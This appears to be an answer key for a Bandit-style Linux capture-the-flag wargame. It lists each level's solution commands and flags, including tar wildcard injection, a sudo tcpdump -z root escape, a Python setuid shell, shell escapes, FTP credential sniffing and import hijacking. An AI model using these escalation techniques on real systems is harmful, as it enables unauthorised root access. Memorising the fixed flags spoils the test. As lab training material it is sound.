




Bandit Solutions

For all questions, the connection instructions are: `ssh banditXX@<IP> -p 2222`

Also, the password/flag changes when you run the `generate_passwords.py` script. Keep that in mind when you deploy the system to keep track of the passwords in the `.env` file and enter that into CTFd or other framework.

Question	Solution	Username	Password /Flag	Points /Difficulty
✔ For the first question in the Bandit set, ssh to <hostname> with the credentials <code>bandit0:bandit0</code> and find the password for the bandit1.	1. <code>cat password.txt</code>	bandit0	BT {MgknPYg3MB}	10
✔ Can you find the password for bandit2 in the mess of directories.	1. <code>find . -type f</code> 2. <code>cat flag7/.password9/.hidden.password.txt</code>	bandit1	BT {7pR2HyPwMD}	20
✔ The password for bandit3 is in the file called <code>-</code> .	1. <code>cat ./-</code>	bandit2	BT {M5LFvFrLUO}	20
✔ Can you find the password for bandit4 in the file called <code>data</code> .	1. <code>strings data</code>	bandit3	BT {cWjklqs5ez}	20
✔ Encoding and encryption are not the same.	1. <code>cat encoded.encrypted.txt base64 -d</code> 2. ROT9	bandit4	BT {rsDI6p2Zs6}	30
✔ Hexdumps and no file extensions? Are you having fun yet?	1. <code>xxd -r whatisthis > archive.gz</code> 2. <code>gunzip archive.gz</code> 3. <code>tar -xzf archive</code> 4. <code>cat matrix/robots.txt</code>	bandit5	BT {clH3hR06FN}	40
✔ Are you aware of your environment?	1. <code>env grep bandit</code>	bandit6	BT {cnS88bvstz}	30
✔ Are you aware of other's environments?	1. <code>ps aux</code> (find the PID with the loop) 2. <code>cat /proc/<PID>/environ</code> (find the <code>bandit8_password</code>)	bandit7	BT {YSoui4p5WU}	50
✔ The password for bandit9 is in <code>regex.txt</code> in a line with the following conditions: <ul style="list-style-type: none">the line begins with a <code>\$</code>followed by a 4 digit numberfollowed by a <code>:</code>followed by 2 spacesfollowed by 10 alphanumeric characters that represent the password	1. <code>grep -E '^[0-9]{4}: [a-zA-Z0-9]{10}\$' regex.txt</code>	bandit8	BT {UDZQPSCC2l}	60
✔ That's not a gecko. A GECOS.	1. <code>cat /etc/passwd</code> (find the hint to look in bandit10's home directory.) 2. Find the note that says they use <code>openssl aes-256-cbc</code> cipher with the passcode <code>trinity</code> . 3. <code>openssl aes-256-cbc -a -d -in /home/bandit10/encrypted.txt -out password.txt -pass pass:trinity</code> 4. <code>cat password.txt</code>	bandit9	BT {kOrqSfhAhZ}	70
✔ Those who don't know history are doomed to repeat it.	1. <code>history</code> or <code>cat /root/history</code>	bandit10	BT {xci7finzNd}	30
✔ Submit your current user's password plus a random three digit pin to a network process listening at <code>bandit-11-server-ctr:3000</code>	1. <code>echo <password>276 nc -v bandit-11-server-ctr 3000</code>	bandit11	BT {q5WqeJG0Z6}	60

<p>✔ Submit your current user's password to another host within your network that is listening on port 3000 (use the information from the eth1 interface to determine the network space).</p>	<ol style="list-style-type: none"> 1. Search for the host (using netcat, ping, nmap, etc) 2. openssl s_client -connect 192.168.30.30:3000 	bandit12	BT {UCtV4qhRSP}	60
<p>✔ The password for bandit14 is in the bandit13's home directory.</p>	<ol style="list-style-type: none"> 1. Minimize the screen and connect 2. Type <code>v</code> when the more screen appears with the % at the bottom 3. The vim screen will appear and execute the following commands <code>set shell=/bin/bash</code> 4. <code>:shell</code> 	bandit13	BT {udz3VOuiRL}	100
<p>✔ Follow the instructions from the web server at bandit-14-server-ctr:80 to get bandit15's password.</p>	<ol style="list-style-type: none"> 1. <code>curl -X POST -H "Content-Type: multipart/form-data" -d "geekseek2023" http://bandit-14-server-ctr:8000/geekseek.doc</code> 	bandit14	BT {0l03lgtTby}	70
<p>✔ The password for bandit16 is in a file that is owned by the user bandit17, group bandit16 and of the size 4140 bytes.</p>	<ol style="list-style-type: none"> 1. <code>find / -user bandit17 -group bandit16 -size 4140c 2>/dev/null</code> 2. <code>cat /usr/local/src/42bbf266-c510-43b6-98fb-295b3014a4d9</code> 	bandit15	BT {UqeTQ5RMPy}	40
<p>✔ Do you know where I can find tmux.</p>	<ol style="list-style-type: none"> 1. <code>tmux -S /var/tmux/shared-session attach -t 0</code> 2. <code>cat /etc/geekseek/bandit17/password</code> 	bandit16	BT {hQr9mAo7bk}	60
<p>✔ A little suspicious that the backup file's date keeps changing.</p>	<ol style="list-style-type: none"> 1. <code>cd /var/www/wordpress</code> 2. <code>echo "cat /etc/geekseek/bandit18/password > /tmp/a" > cmd.sh</code> 3. <code>touch -- '--checkpoint=1'</code> 4. <code>touch -- '--checkpoint-action=exec=bash cmd.sh'</code> 5. Wait 1 minute and <code>cat /tmp/a</code> 	bandit17	BT {iwZXaydWx8}	100
<p>✔ bandit19 regularly connects to an FTP server at bandit-18-server-ctr to store their system creds. Can you gain access to it?</p>	<ol style="list-style-type: none"> 1. <code>tcpdump port 21</code> 2. <code>ftp bandit-18-server-ctr</code> <ol style="list-style-type: none"> a. USER = bandit19 b. PASSWORD = L3TMEINFTPPASSWORD123 3. <code>get my-system-creds.txt</code> 4. <code>cat my-system-creds.txt</code> 	bandit18	BT {nZLK41IZsU}	70
<p>✔ Wow, you're getting pretty good.</p>	<ol style="list-style-type: none"> 1. <code>git checkout dev</code> 2. <code>git checkout d07a4</code> 3. <code>cat main.py</code> 	bandit19	BT {pX822TXtYH}	40
<p>✔ Check your privilege.</p>	<ol style="list-style-type: none"> 1. <code>sudo -l</code> 2. <code>echo 'cat /etc/geekseek/bandit21/password' > /tmp/a</code> 3. <code>chmod +x /tmp/a</code> 4. <code>sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/a -Z root</code> 5. Trigger any traffic on the interface specified (in this case <code>-i lo</code> means localhost) 	bandit20	BT {4pqVOs2VqE}	100
<p>✔ There is something distinctly different between the main.py for this question and the previous question.</p>	<ol style="list-style-type: none"> 1. <code>/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'</code> 2. <code>cat /etc/geekseek/bandit22/password</code> 	bandit21	BT {KWFf6RilwL}	80
<p>✔ Don't spy on other processes.</p>	<ol style="list-style-type: none"> 1. <code>chmod +x pspy; ./pspy</code> 2. <code>echo "This is my world. My world!" > /opt/seed</code> 3. Wait a minute and <code>cat /home/bandit22/bandit23-password</code> 	bandit22	BT {w6LxhH1N4T}	70

 The password for bandit24 is at /var/password.txt. Can you read it?	Two ways: 1. vim 2. set shell=/bin/bash 3. :shell 1. cat /etc/lshell.conf 2. Notice you can execute tmux as sudo 3. sudo tmux	bandit23	BT {V6lux0jQbo}	110
 Congrats on getting to the final question! Use all of your knowledge from the previous questions to answer this one. Goodbye. * click *	1. sudo -l 2. sudo -u bandit25 /home/bandit24/generate_password.py 3. Create one of the following files (click.py, secrets.py, string.py) with the following content: <div style="border: 1px solid #ccc; padding: 5px; margin: 10px 0;"> with open("/etc/geekseek/bandit24/password", "r") as f: print(f.read()) </div> 4. sudo -u bandit25 /home/bandit24/generate_password.py	bandit24	BT {CjiAtV3JJ5}	150
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